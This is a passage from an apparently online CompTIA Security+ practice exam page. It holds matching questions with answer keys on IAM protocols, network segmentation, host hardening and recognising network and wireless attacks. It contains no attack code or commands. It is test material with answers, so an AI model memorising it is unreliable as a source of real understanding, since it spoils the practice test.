Recognize that OAuth 2.0 handles authorization and token delegation for APIs rather than user authentication.
OAuth 2.0 is an authorization framework, not an authentication protocol.
2
Identify the primary role of OpenID Connect (OIDC).
Associate OIDC with RESTful/JSON-based user authentication overlaying OAuth 2.0.
OIDC adds an identity layer (ID token in JWT format) to OAuth 2.0.
3
Identify the primary role of SAML 2.0.
Match SAML 2.0 to XML-based web SSO federation between identity providers and service providers.
SAML uses XML assertions for cross-domain browser single sign-on.
4
Identify the primary role of RADIUS.
Link RADIUS to legacy network access authentication (AAA) for VPNs and wireless networks.
RADIUS is a dedicated network access AAA protocol.

Key Concept

IAM Protocol Selection and Architectural Scoping
Question 178Question

A security architect for an enterprise organization is designing network isolation controls across various operational environments. Match each security design requirement on the left to the network segmentation mechanism on the right that best satisfies it.

Click a left item, then click its matching right item

Items

Isolating legacy industrial control hardware that requires complete protection from remote network vectors and has no requirement for network communication.
Restricting East-West network traffic between individual containerized microservices hosted within the same virtualized cluster.
Providing a hardened, audited entry point for administrators to establish remote management sessions into internal infrastructure.
Placing public-facing application servers in a perimeter zone to prevent direct network traversal to internal corporate databases.

Matches

Show answer & explanation

Answer

Legacy hardware isolation matches Air gap; Container microservices restriction matches Microsegmentation; Administrative entry point matches Jump box / Bastion host; Public-facing server perimeter matches Demilitarized Zone (DMZ).
Each requirement directly aligns with standard network segmentation mechanisms: Air gap provides total network detachment for highly sensitive/legacy hardware; Microsegmentation provides granular control over East-West traffic between container workloads; Jump boxes act as secure gateways for admin sessions; DMZs buffer public-facing web servers from private internal database zones.

Step-by-Step Solution

1
Analyze the security requirement for complete isolation without external network connectivity.
Identify that an Air gap removes all physical or logical network connections, which is required for vulnerable or isolated legacy hardware.
Air gapping eliminates remote network attack vectors entirely.
2
Evaluate intra-cluster granular isolation needs between virtualized workloads.
Identify Microsegmentation as the control that governs lateral (East-West) traffic between virtual machines or containerized services.
Traditional perimeter firewalls cannot inspect or block traffic between adjacent workloads inside the same host cluster.
3
Determine the control required for secure admin access into sensitive internal segments.
Match Jump box / Bastion host as the hardened proxy system through which administrative traffic is funneled and monitored.
Jump hosts prevent direct remote access connections from reaching internal production environments.
4
Determine the control for isolating public services from internal databases.
Match Demilitarized Zone (DMZ) as the perimeter architecture isolating public web servers from internal data stores.
A DMZ restricts ingress to untrusted internet traffic while enforcing strict inspection on traffic attempting to reach internal zones.

Key Concept

Network Segmentation Mechanisms and Architecture
Question 179Question

Match each enterprise security risk scenario on the left with the most effective enterprise hardening mitigation on the right.

Click a left item, then click its matching right item

Items

Adversaries running unauthorized portable executables and unverified scripts from user temporary directories.
Lateral movement attacks utilizing legacy protocol downgrades and credential harvesting in Active Directory.
Unauthorized bootloader modification and rootkit persistence during early system startup.
Physical data exfiltration and rogue firmware injection via unmonitored client peripheral connections.

Matches

Show answer & explanation

Answer

Each enterprise security risk maps directly to its specific technical hardening control: executing unauthorized binaries is mitigated by application allowlisting; legacy protocol exploitation is mitigated by disabling NTLMv1/SMBv1; bootloader tampering is mitigated by UEFI Secure Boot and TPM; and physical peripheral threats are mitigated by disabling USB storage device classes.
Each risk finding is addressed by its corresponding host or infrastructure hardening strategy: unauthorized application execution is directly prevented by application allowlisting; credential theft via protocol downgrades is mitigated by deprecating legacy protocols like NTLMv1/SMBv1; bootloader integrity tampering is prevented by hardware-backed UEFI Secure Boot; and physical storage exfiltration is controlled by disabling USB device classes.

Step-by-Step Solution

1
Analyze execution risks from untrusted paths and match with application control mechanisms.
Identify that restricting unapproved scripts/executables requires Application Allowlisting policies.
Traditional antivirus alone often fails against custom or unverified binaries running from user directories.
2
Analyze domain lateral movement techniques relying on legacy protocols.
Identify that disabling NTLMv1/SMBv1 blocks relay and downgrade attacks.
Hardening domain network traffic requires enforcing modern protocols like Kerberos and SMB Signing.
3
Evaluate boot-level bootkit and rootkit threat vectors.
Identify that verifying pre-OS code integrity requires UEFI Secure Boot and TPM.
Hardware-rooted trust ensures that modified bootloaders cannot load before OS security controls start.
4
Evaluate physical endpoint security vectors.
Identify that restricting USB storage classes mitigates local exfiltration via peripheral devices.
Host peripheral port restriction is a key host-hardening practice for preventing physical vector compromises.

Key Concept

Enterprise Host and Infrastructure Hardening Mitigations
Question 180Question

Match each observed network or wireless technical indicator on the left to its corresponding attack classification on the right.

Click a left item, then click its matching right item

Items

Network telemetry exhibiting a high volume of TCP SYN frames originating from a single IP targeting sequential destination ports, accompanied by immediate TCP RST/ACK responses.
Capture log exhibiting a flood of unauthenticated 802.11 management frames containing Reason Code 7 sent to client workstations using the MAC address of a legitimate access point.
DHCP server logs demonstrating rapid exhaustion of the available IP scope caused by thousands of distinct MAC addresses generated continuously from a single physical switch port.
Wireless site survey logs revealing an unauthorized access point broadcasting the corporate SSID with a stronger RSSI but configured with mismatched security authentication requirements.

Matches

Show answer & explanation

Answer

Port Scanning matches TCP SYN probes across sequential ports. Deauthentication Attack matches 802.11 management frame floods with reason codes. DHCP Starvation matches rapid IP scope exhaustion via MAC address spoofing. Evil Twin matches unauthorized access points spoofing corporate SSIDs with mismatched security settings.
Each attack type exhibits unique packet and log signatures: Port scanning shows systematic connection probes across port ranges; Deauthentication attacks exploit unauthenticated 802.11 management frames; DHCP starvation exhausts IP scopes using spoofed MACs; Evil Twin attacks mimic legitimate wireless SSIDs.

Step-by-Step Solution

1
Analyze indicator left_1
Sequential TCP SYN requests returning TCP RST/ACK indicate active network probing across closed/open ports.
Recognize reconnaissance patterns in TCP traffic.
2
Analyze indicator left_2
802.11 management frames containing reason codes (e.g., Reason Code 7 for Class 3 frame received from nonassociated STA) sent to wireless clients cause immediate disconnects.
Identify wireless denial-of-service indicators at the MAC layer.
3
Analyze indicator left_3
Rapid exhaustion of DHCP leases from spoofed MAC addresses depletes the IP pool.
Identify layer 2/3 protocol resource depletion attacks.
4
Analyze indicator left_4
A rogue AP imitating a legitimate SSID to harvest credentials or conduct on-path attacks represents an Evil Twin setup.
Distinguish between Rogue AP and Evil Twin based on SSID spoofing.

Key Concept

Network and Wireless Attack Indicators
PreviousPage 9 / 19Next
All practice questions — CompTIA Security+ | Examkin